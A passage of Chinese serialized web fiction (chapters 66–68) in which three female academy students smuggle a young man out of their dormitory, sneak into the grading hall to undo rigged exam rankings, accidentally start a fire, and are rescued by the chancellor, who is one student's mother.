陆锦澜连忙将酒坛子推回去,“别乱动,今儿刚换完宿舍,一会儿司徒学监要来巡房的,给她抓到就惨了。” 晏无辛压低了声音,“你胆子可真够大的,敢把男人带到这儿来。你什么时候得的新宠,这么难解难分?” 陆锦澜冤道:“不是我带来的,他自己来的。他也不是我的男人,是如蓁的。” 晏无辛撇了撇嘴,嫌弃道:“陆锦澜咱俩什么关系?掉脑袋的事儿都一起做了,一个男人的事儿,你瞒我做什么?谁不知道如蓁不近男色,你干嘛往她头上扣?你要不想承认是你的,你说是我的我也认啊。” 陆锦澜无力的叹了口气,刚要解释,外面敲门声响起。 她忙低声道:“学监来了,你就当是你的,先糊弄过去再说。” 司徒梅已经从代理学监升为正式学监,陆锦澜打开门,她进来转了一圈,“这屋怎么多了个人?” 二人愣了一下,司徒梅笑道:“无辛,你不是这屋的吧?” 晏无辛这才反应过来,尴尬一笑,“对,我过来串门的,我这就回去,您别记我。” 司徒梅往下面扫了一眼,二人心又提了起来。 司徒梅用脚碰了碰酒坛子,“这是酒吗?锦澜,藏酒可是违规的。” 陆锦澜忙道:“不是酒,是水,从后山接来的山泉水。” 她说着挽住司徒梅的胳膊,开始给司徒梅戴高帽,“师傅,您可是全学院最疼学生的师傅,您不会那么残忍的。” 司徒梅勾着嘴角看了她一眼,“若是酒,一定是不行的,但水就算了。读书累了,润润口,不要误事就好。” 陆锦澜喜道:“多谢师傅教诲。” 她拎起一坛酒,匆忙擦了擦上面的手印,“师傅,这坛是学生孝敬您的。” 司徒梅拒绝,“我这不成徇私受贿了吗?” “哎,都说了这是水。二十年好水,不算受贿,您就收着吧。” 司徒梅低头嗅了嗅,醇厚的酒香扑鼻而来。 她笑了笑,无奈道:“那为师就收下了。你们两个,一个比一个滑头,学习上不见多刻苦,论起吃喝玩乐那是一套一套的。不是为师说你们,你们也该多和如蓁学学,把心思放在正地方,学问修为都能更上一层楼。” 两人连连点头,司徒梅念叨了好一会儿,终于走了。 晏无辛探出窗边,看着司徒梅彻底走远,转身就要掏床底下。 陆锦澜一把拉住她,“你做什么?” 晏无辛:“你不说这人算我的吗?我的男人我都没看清长什么样,像话吗?好歹让我瞧一瞧。” 陆锦澜急道:“算我的,你别瞧了,一会如蓁来了。” 晏无辛:“她来了又怎样?她又不感兴趣。你别这么小气,我看一眼这小公子又不会少块肉。” 听两人如此说,那小公子吓得瑟瑟发抖,一个劲儿往后退,恨不得从墙上刨个洞逃出去。 晏无辛朝着里面循循善诱:“你别害怕,我是好人。” 陆锦澜:“你这么说,我都害怕,你快回去吧。” 两人正说着,项如蓁推门进来。 二人一愣,见她目光越过她们,朝床下伸出手,“出来吧,学监已经走了。” 里面传来一阵窸窸窣窣的响动,一只格外白皙的男人的手怯生生伸出来,搭在项如蓁的掌心。 晏无辛看见这一幕一屁股坐在地上,跟活见鬼了似的。 男人?和项如蓁? 陆锦澜点了点头,仿佛在说:是,就是你以为的那样。 晏无辛感到头皮发麻,这画面对她来说冲击力太大了。而且她明显能感觉到,项如蓁和这个小公子之间的气氛怪怪的。两人站在一块,仿佛自成结界。 她和陆锦澜留在这儿,都自觉多余。一时恨不得顺着窗户翻出去,但又怕错过了这千古奇景,所以尴尬得留在原地,动也不动。只是默默用眼神和手势,跟演哑剧似的,表达自己的震惊。 不过那二人也是不见外,当她俩不存在一般,该怎么就怎么。 那位小公子在床底下趴了那么久,衣服弄脏了不说,连脸上都蹭上了灰尘。 项如蓁从怀里取出手帕,抬手想帮他擦一擦,又觉不妥,犹豫了一下,还是将手帕递给他,声音极度温柔,“你擦擦吧,脸上弄脏了。” 晏无辛一把抓住陆锦澜的手,撩开袖子给她看自己身上的鸡皮疙瘩。 她在陆锦澜耳边悄声吐槽:“太吓人了,如蓁怎么会发出这种死动静?她不是向来字字铿锵吗?这是在干嘛?哄孩子呢?” 陆锦澜摇了摇头,“不,咱们上次去她家,我看她对孩子也没这么小声。” “如蓁一定是中邪了,太可怕了。” “我看那位也中邪了,耳朵根都红透了,都不敢抬眼看她。” “可如蓁连人家手不敢摸,按照她这个进度,你孩子都满地跑了,她还在这儿眼神交流呢。” “要不咱俩出去吧,许是咱们看着,人家不好意思。” 两人刚要起身,项如蓁便道:“你们帮我盯着点巡逻队,我送他出去。” 晏无辛一愣,“啊?这就送走啊?” 项如蓁反问:“不然呢?” 陆锦澜笑道:“呃,无辛的意思是,送走也不能这么送走。这位小公子看起来好像不会武功,被巡逻队撞见怎么办?你拉着人家啊。” 晏无辛心领神会,“啊对对对,我就是这个意思。” 项如蓁看了那小公子一眼,“得罪了。” 她隔着衣袖抓住他的手腕,“走吧。” “等一下!”晏无辛忽道:“我觉得这样还是不行,你是习武之人,他怎么跟得上你的步伐?你别把人家拉伤了,还是抱着吧。” 项如蓁:“抱着?” 陆锦澜:“背着吧,背着比较方便,不然翻不过围墙的。” 项如蓁一想也有道理,她又看向那位小公子,“背着你,可以吗?” 小公子红着脸点了点头,趴在项如蓁的背上。 看着项如蓁背着人出了门,陆锦澜和晏无辛把彼此的手都抓出红印了。 二人跟峨眉山的猴子似的,兴奋得上蹿下跳,干脆跃上房檐,一路追了过去。 那小公子回头一看,万分不解,轻声问:“她们在做什么?” 项如蓁咬了咬牙,一本正经的回答:“在帮我们吸引巡逻队。” * 看着项如蓁带人翻出了校墙,陆锦澜和晏无辛终于停下来。 二人找个处最高的房顶,拎了两坛酒,喝酒赏月,坐等项如蓁回来,好细细盘问。 晏无辛感慨,“想不到如蓁喜欢这样的,一点武功都不会,她也不嫌他累赘。” 陆锦澜嘿嘿一笑,“你不懂,这叫女A男O,她喜欢这款正对味儿。” “女哎男哦?他哦什么哦,他话都不会说。可惜了,虽然长得不错,但是不会说话,关键时刻还是会少了分情趣。” 陆锦澜一口酒喷出半口,“谁说他不会说话啊?人家不是哑巴。” “啊?不是吗?他一声不吭的,急得我都想掐他一把,还以为他天生不会说话呢。” “切,人家是不跟咱们说,跟如蓁说了不少呢。” “哎那你说,他是谁家的小公子啊?柔柔弱弱胆子还挺大的,敢跑到这儿来。” “不知道,一会儿如蓁回来,咱好好问问。” 半个时辰后,项如蓁翻回校内。 二人站在房顶上使劲儿的朝她招手,“如蓁,上来,别装没看见。” 项如蓁无奈的笑了笑,飞身而上。 二人立刻一左一右将她围了起来,“快说快说,怎么样了?” 项如蓁老实道:“我本来是要送他回家的,可是才到街上,就碰见了来寻他的家仆,就把他接回去了。” 晏无辛:“啊?就那么让他回去了?那你有没有问清楚,他叫什么?多大了?谁家的?家住哪儿?” 项如蓁摇了摇头,“这些我都没问。” 陆锦澜长叹一声,扶了扶额,“如蓁啊如蓁,我告诉你,我通过亲身实践总结出的经验,谈恋爱最重要的就是先弄清楚对方的身份,可以避免走很多弯路。” 项如蓁平静道:“我是想着,贸然问这些,太轻率了。一来,我还没想好要不要提亲。二来,已经知道他姐姐是咱们的学长,他家就在京城。等我准备去提亲的时候,查问一下就知道了。” 短短几句话,让陆锦澜和晏无辛面面相觑,沉默了好一会儿。 陆锦澜试探着提醒:“你……你就不先问问,他有没有许了人家,万一人家有婚约在身呢?” 项如蓁颇为自信,“不会的,我能感觉到他想嫁给我。” 晏无辛诧异:“他亲口说的?” 项如蓁:“他什么都没说,但我能感觉到。” 晏无辛倒吸一口凉气,“那你最好不要瞎感觉,我就经常有这种感觉,结果发现对方完全不是这么想的。我不是泼你冷水,姐妹是怕你用情太深,伤了自己的心。” 项如蓁道:“我的感觉和你的感觉不一样,我从来没有过这种感觉,大概以后也不会有。” 陆锦澜噗嗤一笑,“你一个没成婚的,一天之内,就修炼成情圣了?那你跟我们说说,那是什么感觉?” 项如蓁仰躺在屋顶上,沐浴着柔和的月光,反问道:“你们有过见到一个男人,第一眼就喜欢他的感觉吗?” 晏无辛想了想,“第一眼就想睡他,算喜欢吗?” 项如蓁摇了摇头,“不算,你睡了那么多男人,我也没见你特别喜欢谁。” 晏无辛:“我这叫万花丛中过,片叶不沾身。睡很简单,喜欢很麻烦。那你呢?锦澜,你有没有如蓁说的那种感觉?” 陆锦澜笑了笑,“有倒是有,问题是……我经常有这种感觉。” 三人对视一眼,哈哈大笑。 后来,她们聊起了别的事。聊到最后,坛子里的酒空了,无辛已经昏昏欲睡,陆锦澜收拾着准备下去。 项如蓁忽然开口:“你说,他怎么长得那么白啊?白得跟月亮似的。” 陆锦澜反应了一下,才明白她说的是谁。 陆锦澜一笑,“要不是我足够了解你,我都会怀疑你是起了色心。” 项如蓁道:“我也不知道算不算色心,反正我看他生得那么白,就想捏一下他的脸。” 陆锦澜瞥了她一眼,“那你捏了没?” 项如蓁:“当然没有,太冒昧了吧?再说,也于礼不合。” 她想了想又补充道:“但如果我娶了他,把小月亮养在家里,我就可以天天捏他的脸。” 项如蓁说着像扛猪肉一样将晏无辛扛在肩上,“我把她送回去,你也早点休息吧。” 陆锦澜看着项如蓁的背影,略有些怀疑。 只想捏一下他的脸吗?怕不是一下,是很多下。不是轻轻地捏,是重重地捏。捏得他眼眶泛红,可怜巴巴的掉金豆子,再去温柔的哄。 陆锦澜今天才意识到,项如蓁不是无欲,而是禁欲。有一天,她要是不禁欲了…… 陆锦澜仰头看了眼夜空,“小月亮,你自求多福吧。” * 过了几天,三人在食堂吃饭。晏无辛又提起那位小公子,“说真的,你有没有计划把人家娶回家啊?” 项如蓁:“有,我已经想好了,等我毕了业做了官,我就去提亲。” 晏无辛大吃一惊:“什么?那至少还要等两年,小月亮都熬成老月亮了。而且,万一出了什么岔子怎么办?你要人家一直等啊。” “我没有要他等,如果出了岔子,那便是有缘无分。怪不得他,也怪不得我。我这一生,已经习惯了求而不得。不过无论命运是否善待我,我都会尽力争取,奋力一搏。至于结果,重要吗?” 晏无辛和陆锦澜呆呆的看向她,晏无辛咬着筷子,“如蓁,我要是个男人,我都想嫁给你了。” 项如蓁笑着敲了敲她的碗,“吃你的饭。” 日子一天一天过着,边境的战事进入了胶着阶段。有时候传来好消息,有时候传来坏消息。 转眼间半年过去,又到了炎炎夏日。快到雨眠生产的日子了,陆锦澜等人也马上就要迎来第一学年的年末考试。 在这半年里,三人从不同途径了解了关于年末考试的各个环节,已经制定了一套详细的偷天换日之策。 陆锦澜拿出一份流程表,“咱们明天上午考完所有科目,下午各科师傅一起评卷。按照平常的速度,最多需要两个时辰,就能出成绩。但是,每年的学年考试成绩都要到第二天才公布,我猜空出来的时间,便是有些人做手脚的时间。” 项如蓁道:“今年只有咱们一个年级在校,大二大三的学长都在前线,只改咱们一百人的成绩,可用不了多少时间。而且谁前谁后如何排名,一定是早就定好的。有人会进去,把姓名条重新糊上,然后写三份假的成绩单。” “一份夹到院长上报成绩的奏折里,呈递御前。一份连同原卷,交给翰林院存档。还有一份是公告榜,贴到学院外墙,公之于众。” 晏无辛算了算,“做这些事,也就一两个时辰。如果这些人是轻车熟路,人手多,再加上提前准备,可能一个时辰都用不了。这群人做完假之后,就会离开阅卷楼。接下来,就该我们上场了。” 陆锦澜点头道:“没错,她们作假,我们还真。可惜我们不能提前准备,只能到 那儿现写。为求公平,我们还得复核此次考试的真实成绩,做出三份真的成绩单。咱们只有三个人,做这么多事,至少需要两三个时辰。” 项如蓁道:“两个时辰够了,那群人一走我们就动手,如果有意外情况,大不了熬个通宵。学监卯时才去张贴公告,那时候咱们应该已经全都做完了。只要公告贴出去,奏折送抵御前,就是木已成舟,没有机会再更改了。” 晏无辛笑道:“送奏折的是院长的家仆、贴公告的是学监,送存档的是普通教工,她们应该不知道造假的具体造了什么样的假。只要咱们做得似模似样,根本没有人能发现问题。螳螂捕蝉,黄雀在后,这招偷梁换柱简直妙极了,就这么干!” “好,咳!”项如蓁突然咳嗽起来。 晏无辛忙问:“你怎么了?” 项如蓁摆了摆手,“乐闻得了风寒,我这两日照顾她,好像也染上了。不过没关系,我身强体健,只是咳嗽而已。” 陆锦澜道:“夏日的风寒最难对付,明早我跟平掌柜说一声,麻烦她着人煎一副药,你早治早好。” 项如蓁一笑,“不用紧张,小病而已,再说吧。明晚至关重要,咱们再把要准备的东西核对一遍。” 第二天晚上,三人伏在暗中看着完成评卷的各科师傅离开了阅卷楼。没多久,一群生面孔拿着钥匙,打开了阅卷楼的门。 一个时辰后,这群人离开,三人互相使了个眼色,直接跃上二楼,撬开窗户,悄无声息的潜入进去。 三人先用厚厚的黑布将窗户挡住,然后拿出准备好的蜡烛、刀具、算盘、笔墨纸砚等等,正式开干。 要计算成绩,需先把假姓名条取下来。晏无辛抽出最上面那份试卷,一看就是陆锦澜的字迹,可却贴了另一个人的名字。 “锦澜,你猜猜,谁顶替了你的第一名?” 陆锦澜:“这还用猜吗?用脚丫子想也知道,当然是赵祉钰。” 项如蓁凑过去一看,“果然没错。” 第二名是项如蓁的试卷,贴了陆锦澜的名字。 晏无辛笑道:“看来这群人也怕你这个刺儿头,只敢把你往后挪一位。” 陆锦澜哼了一声,“想来我爱闹事的名声在外,让那些人不得不顾忌。但她们最顾忌的,应该是我岳母。” 陆锦澜说着又往下翻了翻,“第三名应该是赵祉钰,不过她已经是第一了,我倒好奇会安排给谁。” 她抽出第三份试卷一看,屋内霎时沉默—— 作者有话说:这章我真的,边写边笑,我脑子里的画面比喜剧电影还好笑[笑哭] 第67章 晏无辛看到自己的姓名条出现在晏钰的试卷上,顿时气得脸色涨红咬牙切齿,“哪个王八蛋害老娘?” 她连忙用小刀刮掉,嘟囔道:“一定是搞错了,我可没让谁帮我弄这些。” 陆锦澜看着她心虚的神色,抿了抿唇,“我也没让人帮我做什么,但是我们都知道,那些人做出这个排名一定是仔细考量过各方势力的。” 陆锦澜说着又看了眼第四名,“连凌照人都只能排第四,她是凌之静的女儿都得在你后面。等咱们忙完,你是不是该跟我们说点你平常没说的事儿?” 晏无辛揉了揉鼻子,“先干正事吧,回头再说。” 项如蓁在一旁复核成绩,陆锦澜和晏无辛将作假的姓名条一张张除掉。 虽然三人谁都没说,但心里都能猜到项如蓁的排名会被挪后许多。可直到二十名,还没看到项如蓁的名字,陆锦澜暗暗拧起了眉。 晏无辛嘀咕道:“咱们这届的关系户尤其多,好多垫底的皇亲都挪到前面来了。这些人又不做官,只是为了名声好听面子好看,就抢人家的成绩耽误人家的前程,真是好不要脸。” 陆锦澜道:“人性贪婪,什么都有还嫌不够,不属于自己的东西还想要。” 她说着无奈的叹了口气,“我找到如蓁的姓名条了。” 在学院的所有大小考试中,项如蓁从来没掉出前三名。但是这一次,她被安排在三十六名。 晏无辛气道:“这群王八蛋,真能欺负人。” 项如蓁只是淡淡的看了一眼,“时间紧迫,做事吧。” 三人按照事先的计划分工合作,忙活了两个时辰,将真的成绩单做好,项如蓁用扇子扇干墨迹,又咳嗽起来。 陆锦澜见她面色有异,一探她额头吓了一跳,“怎么这么烫?你这风寒越来越严重了。” 项如蓁捏了捏发痒的嗓子,“没事,咱们再检查一下,如果没有错漏,咱们就可以回去了。” “好,你坐下歇会儿吧。” 陆锦澜将奏折内夹带的成绩单按照先前的样子折好,放入奏折内。晏无辛把要送往翰林院的存档也摆回原样,将假成绩单丢到包袱里带走。项如蓁装上带来的笔墨纸砚各式工具,“走吧。” 三人吹灭蜡烛,扯下黑布,一同跃窗而出。 今夜风大,她们迎着风,在回宿舍的路上,脚步越来越轻快。大家互相看了一眼,脸上都是笑意。 陆锦澜喜道:“只等天一亮,告示贴出就大功告成。姐妹们,咱们真是做好事不留名,太无私了!” 项如蓁笑道:“我觉得我们应该纪念一下,我们今天做了件天大的好事,咱们给自己取个名头吧。叫嬅国三侠,怎么样?” 陆锦澜:“我没意见,无辛你说呢?” “我说,我觉得……”晏无辛看着她们身后忽然怔住,“爹的,那是什么?” 二人回头一看,阅卷楼上窜起一道黑烟。 陆锦澜惊道:“好像着火了!” 项如蓁猛地想起什么,她飞快的翻了翻包袱,“糟了!少了一截快烧完的蜡烛头。我写字的时候看它用完了,把它放到窗台上,那个位置是个死角,走的时候没注意,难道是那截蜡烛引燃了什么?” 项如蓁眉头一皱,“我先去救火。” 陆锦澜忙拦住她,“来不及了,今晚风大,东南风一吹漫天火光,巡逻队马上就看见了。” 话音未落,锣声响起,巡夜的人敲锣高呼:“阅卷楼着火了,快来救火!” 巡逻队很快提着水桶赶过去,阅卷楼楼下便有池塘,火势不大,被迅速的扑灭了。 但问题是,她们所做的一切可能提前被发现,那截不应该出现在现场的蜡烛,就成了证据。 如果是普通的蜡烛也就算了,偏偏是学监昨天刚刚发下来的绿蜡。这种蜡烛是学院特制的,烟小燃得久,只给了上学期综合成绩排名前十的学生,以资鼓励。 项如蓁捶了捶脑袋,“我真是太笨了,怎么会遗落下这么重要的东西?” 晏无辛忙抓住她的手,“不要自责了,你是烧糊涂了。” 陆锦澜道:“你是人不是神,人难免有犯错的时候,事已至此,不要怪自己。我们两个也有责任,平常都是你细心提醒我们,刚才咱们走得匆忙,我们也没注意到角落里还有未燃尽的蜡烛。只希望巡逻队赶到的时候,它已经燃尽了。” 三人迂回到阅卷楼附近,只见巡逻队已经将阅卷楼包围起来,有两个人往教工住宿区报信去了。 如果只是发现火情,那么现在火已经灭了,为何还要将现场围起来呢? 三人对视一眼,心里都知道,大约是事情败露了。 项如蓁:“如果我猜的没错,刚才那两个人是去禀报学监了。只要学监看见那枚蜡烛,立刻就会去宿舍搜查。你们两个,立刻回去。” 二人忙问:“那你呢?” 项如蓁道:“一人做事一人当,是我的过失造成的后果,我来承担。我会跟院长说,我在翰林院学习时,发现了成绩造假的事。心中不平,所以出此下策。一切合情合理,由不得她不信。” “不行!”两人异口同声的反对。 晏无辛道:“这事 太大了,我们把呈递御前的东西都改了,开除都算轻的。这可是一年一度的大考,涉及多方,非比寻常。万一上面要是追究起来,你命就没了,你绝对不能认。” 项如蓁无奈道:“不能认也得认,那截蜡烛指向性太强了,由不得我不认。” 陆锦澜想了想,“还有一个办法。” 项如蓁:“什么?” 陆锦澜:“我来认。” 项如蓁果断拒绝,“不行。” 陆锦澜忙道:“如蓁,你听我说。朝廷正在用兵,圣上对宋家军颇为倚重。由我来认,至少不会掉脑袋。说不定大事化小,开除了事。” “那也不行,那你的仕途怎么办?” 陆锦澜急道:“那你就别管了,做朝中大员有什么意思?天天还要起早上朝,你知道我最讨厌早起。就算我没有功名,我也可以到军中效力,说不定比你们做官还要逍遥自在。就这么决定了,我去认。” “不行!你这是在说谎!”项如蓁死死抓住她,神情激动得红了眼,“你陆锦澜是天下闻名的风流人物,你有没有想过,如果你被开除,天下人会如何喋喋不休的议论?” 陆锦澜坚定道:“天下人如何议论,我根本就不在乎,但我绝不会让我最优秀的朋友断送前程。” 陆锦澜握住她的手,“这次的事主意是我出的,事情败露我应该负责。你别和我争了,我脸皮厚,被开除也好,降罪也好,我都撑得住,你就听我的吧。” 有那么一瞬,陆锦澜感到项如蓁几乎被她说服了。 但项如蓁忽然神情一变,坚持道:“不对,错误是我犯的,没道理让你承担后果,这不公平。” 陆锦澜气道:“什么叫公平?让我们一群最优秀的外地学子打得头破血流,争取那几个可怜的入学名额,公平吗?那些皇亲什么试都不用考,就能到最好的学院来读书,公平吗?你是学院最刻苦最优秀的学生,那群人把你排到三十六名,这世间对你项如蓁公平过吗?” 看着陆锦澜如此愤慨,项如蓁微微苦笑,哽咽道:“难道世间对我不公,我就可以心安理得的让我的朋友为我牺牲吗?” 晏无辛在一旁擦了擦眼泪,“好啦,你们两个不要争了,让我来认。我没有你们那些远大抱负,我是真的没想过做什么大官,干什么大事。反正我也死不了,开除就开除,顶多被我娘骂一顿,我一直是我们家最不争气的女儿,我无所谓。” 陆锦澜无奈道:“这个事你抢不了,你又没有绿蜡。” “我说我从你俩那儿拿的,不就行了吗?”晏无辛看向项如蓁:“这次你真的不能固执了,你想想你的远大抱负,你想想你北州的家,还有你的小月亮。你忘了吗?你要毕业要做官,你才能去提亲,才能把他娶回家。” 项如蓁笑着摇了摇头,含泪看向二人,“对我来说,那些都不是最重要的。” “我可以一辈子庸庸碌碌,一辈子贫穷困苦,一辈子不娶夫,但我不能对不起陆锦澜和晏无辛。” “你们是我在这世上最重要的两个人,我绝不允许你们用自己的前程来换我的前程,我也绝不接受你们的人生因我而染上污点。” 晏无辛急道:“哎呀如蓁……” 陆锦澜拍了拍她的背,“算了,别劝她了。她项如蓁认定的事儿,谁能劝得动?让她去吧。” 项如蓁点了点头,“好,那我走了,你们赶紧回宿舍。” 项如蓁毫无防备的转过身,陆锦澜一记手刀,人顿时晕了过去。 情况峰回路转,晏无辛有点跟不上节奏,“现……现在怎么办?” 陆锦澜把晕倒的项如蓁丢给她,“你带她回宿舍,死死的看住她。我去院长家门口堵着,争取坦白从宽。你一定要看住她,在事情尘埃落定之前,绝对不能放她出来。” 晏无辛:“那她醒了怎么办?” “那就再打晕她。” “啊?” “快去!” 晏无辛叹了口气,背着晕倒的项如蓁快步离开。 * 陆锦澜坐在院长家门口的青石台阶上,一边等一边构思,准备拿出一套天衣无缝情有可原理直气壮的说辞。 天快要亮了,她想得头疼,双手按揉着太阳穴,面前忽然出现一双脚。 陆锦澜抬头一看,项如蓁定定的看着她。 陆锦澜无奈的笑出声,真有些哭笑不得。 “无辛呢?” “被我打晕了。” 陆锦澜点了点头,“好,我早该知道她这个笨蛋看不住你。” “不过你既然来了,想必撵你你也不会走。我刚才就在想,这些事,一个人做,实在是有些不合理,有很多地方解释不通。你来了也好,咱俩一起认,只要皇上不砍我的脑袋,就没有理由砍你的脑袋。” 项如蓁一笑,“好,咱们一起被开除,晏钰就是名正言顺的第一了,皇上真该感谢咱们对她女儿的承让。” 两人并肩坐下,此刻反倒没有了获罪前的惶恐,闲适得像秉烛夜话。 陆锦澜忽道:“我刚才仔细复盘了一下,我还是觉得咱们非常了不起。要怪就怪昨晚风大,天不助我等,非我等之过。再来一次,这件事还是得干。” 项如蓁笑道:“当然,其实我想就算我被开除了,明年这个时候,我还要潜回学院来,再干一次。一次不成,就再做一次,下次一定能做得更好,没什么大不了的。” 陆锦澜笑了笑,“那你还是得叫上我,咱们就跟这帮造假的杠上了,这辈子非把这件事做成不可。” 两人虽然一夜没睡,还倒了大霉,却越说越高兴。眼睛都熬红了,却是一脸意气风发。不知道的以为这不是来领罪,是准备来领赏的。 天蒙蒙亮,陆锦澜左右看了看,“无辛怎么还没来啊?是不是你出手太重了?” 项如蓁估算了一下时间,“不至于吧,她这会儿早该醒了。” 二人正说着,身后的大门忽然打开,二人忙起身道:“我们要见院长。” * 两刻钟前,晏无辛在宿舍里悠悠转醒,她揉了揉酸痛的脖颈,气得哐哐捶床。 她快步走到校园内,看了看院长家的房檐,又看了看外面,咬了咬牙,目光忽然变得坚定,一个纵身飞快的越过院墙。 院墙外,摆了些早摊,有过路人牵着马在那儿买早点。 晏无辛匆忙塞给那人一锭银子,“大姐,我买你的马。” 她说完便抢过缰绳飞身上马,迅速远去,急得那人追在后面大喊:“哎,我不是卖马的!这马值不了这么多钱!” 晏无辛头也不回,那人无奈的喃喃自语:“跟疯了似的,什么事儿这么急啊。”—— 作者有话说:抱歉,今天头疼,可能觉没睡好,先写到这儿吧。 第68章 今日,皇家学院的气氛格外紧张。 理应张贴公示的成绩榜并没有按时贴出,一大早所有人都被召集到教工楼前,陆锦澜和项如蓁被院长叫进院长室内密谈,学生们人心惶惶。 凌照人低声道:“听说阅卷楼昨晚着火,是不是她俩干的?” 楚易舒一惊:“是吗?好好地烧阅卷楼干嘛?不过这么刺激的事儿,不叫上我,真是可惜。” 凌照人不屑道:“哼,叫上你,你现在也在里面了。” 赵祉钰在学院里还是晏钰,她左右看了看,问道:“乐闻,无辛怎么没来?” 孙乐闻摇了摇头,“不知道,一大早不见人影儿。我这心突突的跳,总感觉有什么不好的事要发生。” 孙乐闻不安的捂住胸口,“晏钰,你说她们俩个被叫进去,会不会跟阅卷楼的事儿有关?” 赵祉钰皱了皱眉,“阅卷楼里存放着学年考试的试卷,干系重大,她们 最好和此事没有关系。” 如赵祉钰所说,此事干系重大。院长室内,凌知序愁眉不展。 “你们胆子太大了,闹这么一出,几乎把京中各方势力都得罪了,跟把天捅个窟窿也没什么区别。平心而论,你们是我这一生中遇到的最出色的学生,我想看着你们功成名就,成为国之栋梁。可这件事太大了,抱歉,我保不住你们。” 项如蓁道:“院长,您能这么说,我们已经很感激了,您实在不必抱歉。” 陆锦澜也道:“这一年的时间虽然不长,但我们给您添了很多麻烦。我知道,您一直在用您的方式包容着我们。这件事,我们没有做错,只是没有做成。失败了就要承受失败的后果,我们无怨无悔,也能承受所有罪责,您处置吧。” 凌知序老眼泛红,“学院要先对你们做开除处理,之后我会进宫向圣上求情。希望她能看在你们已经退学的份上网开一面,不再追究下去。” 她拍了拍二人的肩膀,“离开皇家学院,你们便失去了一条直上青云的大道,可惜了啊。” 她看向项如蓁,苍老的手掌摸了摸她的头,“你以后的路会更加难走,如果遇到困难,还是可以来找我,我会尽我所能的帮助你。” 项如蓁点了点头,陆锦澜道:“您放心,不论以后发生任何事,我们都会守望相助彼此扶持,我永远不会让她孤立无助。” 凌知序含泪微笑着点头,“好,我要写两份退学通知,你们先出去等着。” 二人走出门外,屋门再次关上。 她们对视一眼,不约而同的撩起衣摆跪在门口,准备最后一次聆听院长的训示。 其她学生不明所以的跟着跪下,片刻后,凌知序拿着两份纸张从屋内出来,开始诵读手中的文字:“皇家学院壬子年入学学生陆锦澜,恃才傲物,肆意妄为……” 凌知序念到此处,外面传来一阵嘈杂,忽听得几道门外来传来一声:“相尊大人到!” 凌知序停下了下来,学生们顿时窃窃私语。 “相尊大人?那位百官之首,一人之下万人之上的丞相晏维津?她怎么来了?” 一道道门通传进来,声音由远及近,众人纷纷回头望去,只见一位身型高挺浑身精干近卫模样的中年女子越过拱门,声音高亢的喊了最后一声:“相尊大人到!” 凌知序忙上前几步,率一众学生跪拜,齐声颂道:“叩见相尊大人。” 陆锦澜随众人一同伏在地上,偷偷侧首一看,丞相晏维津从近卫身后闪身而出。 她看起来不到五十岁,瘦削的面上残留着岁月的沉淀与官场浮沉二十余年的风霜,一双眼睛显得格外明亮,锐利如鹰。 她身姿挺拔步履沉稳,周身都散发着不怒自威的气度和不容冒犯的威严。 陆锦澜曾听赵祉钰说过,三尊之中,唯有丞相能称得起一个“尊”字,其余二者,都只能称为“大人”。 凌之静那般了不起,贵为定北侯,也只能称其为侯君,而非侯尊。 所有皇亲贵族加上朝中百官,唯有晏维津一人独尊。可见其地位尊崇,仅次于皇上。 晏维津如山岳一般压迫感十足的行至众人面前,对凌知序道:“凌院长请起,咱们内堂说话。” 她的语气温和平静,甚至称得上客气,可又透着一种不容迟疑的坚定。 凌知序忙道:“相尊大人请。” 众人微微抬头,这时才发现一个熟悉的面孔跟在晏维津身后。 人群中不知谁在悄声嘀咕:“晏无辛?她怎么和相尊一块来了?” 赵祉钰冷冷的勾了勾嘴角,意味深长的低喃:“是啊,她怎么来了。我还以为她躲了,不来了,没想到她搬救兵去了。” 晏无辛走到陆锦澜和项如蓁身边,调皮的眨了下眼。 “辛儿。”晏维津微微侧眸,唤了她一声。 晏无辛忙恭敬应声道:“娘。” 娘? 除了院长和赵祉钰,瞬间有无数人瞪大了眼睛。 “叫你的朋友一起进来。” “孩儿遵命。” 晏无辛笑着扶起陆锦澜和项如蓁,“走。” 三人一同进了院长室,体贴的关上了门。 晏维津端坐正中,喝了口茶,看完那两份退学通知,忽而一笑,对站在一旁的凌知序道:“凌院长,你调查得不够彻底啊,这个事儿是她们两个做下的吗?” 凌知序回道:“她们两个是这么说的,至于真相……” 凌知序瞥了晏无辛一眼,“下官实在不知,请相尊大人指教。” 晏维津勾了勾嘴角,“我听辛儿说,是她们三个做下的。” 凌知序不解其意,心道:她说了就说了,你告诉我是什么意思? 凌知序老眼一转,开始打哈哈,“哦?竟然是这样。” 晏维津搁下那两份通知,敛起笑意,“此事孩子们是出于一片好心,希望朝廷能够公正的选拔人才。她们能有这份心胸和胆识,也是你们皇家学院教育有功,开除就不必了。” “对外就说阅卷楼着火,把试卷都烧了,这一学年的成绩,按照这学期日常考试成绩,公允评定。” 凌知序听着这话身上冒冷汗,为难道:“相尊大人说的有理,可万一皇上怪罪下来……” 晏维津道:“我这就进宫,亲自去和皇上禀明真相。” “其余大族若是不服……” “让她们来找我。”晏维津说着神色从容的喝了口茶。 凌知序松了口气,“如此甚好,那翰林院那边……” “我给她们打个招呼,你写明缘由,将往期的试卷放进去,给她们留个存档就是了。” 凌知序感激道:“那就麻烦相尊大人费心了。” 晏维津微微点头,“她们三人我带走了,你忙吧。” 她撂下茶盏,凌知序忙道:“恭送相尊大人。” 三人跟在晏维津身后,在众人恭送的目光中出了学院。 晏维津上了官轿,对晏无辛道:“我进宫一趟,你带着你的两个朋友回家等我。” “是。” 看着官轿走远,三人互相看了一眼,上了晏家的马车。 帘子一放下,陆锦澜和项如蓁立刻把晏无辛按住,“好你个晏无辛,你深藏不露,瞒得我们好苦啊。” 晏无辛冤道:“我早就跟你们说,我是个极其低调的人,你们有一个人信我吗?我可告诉你们,我考皇家学院是凭自己的本事,我一点也没麻烦我娘。我本来打算一直不说的,凌照人天天在我面前拽得跟二五八万似的,我都忍了。我今天破例,是为了谁啊?” 二人嘿嘿一笑,捶腿的捶腿,捏肩的捏肩,“你当然是为了我们啊。” 陆锦澜笑道:“晏少娘辛苦了,你迟迟不来,我还以为你怕我训你呢。” 晏无辛硬气道:“当然有这个理由,我醒了一琢磨,我找过去和你俩汇合,你肯定要骂我几句,说什么让你看个人你都看不住,脖子上那么大脑袋白长了。我一想,我还是回家搬救兵吧,兴许还有转圜的机会。” 项如蓁笑道:“幸亏你来得及时,你请来的这个救兵简直是天降神兵。对咱们来说天大的事儿,你娘几句话就摆平了。” 陆锦澜激动的夸道:“你娘是帅呆了酷毙了,简直无法比喻了,我对她崇拜极了。” 晏无辛:“什么意思啊?” 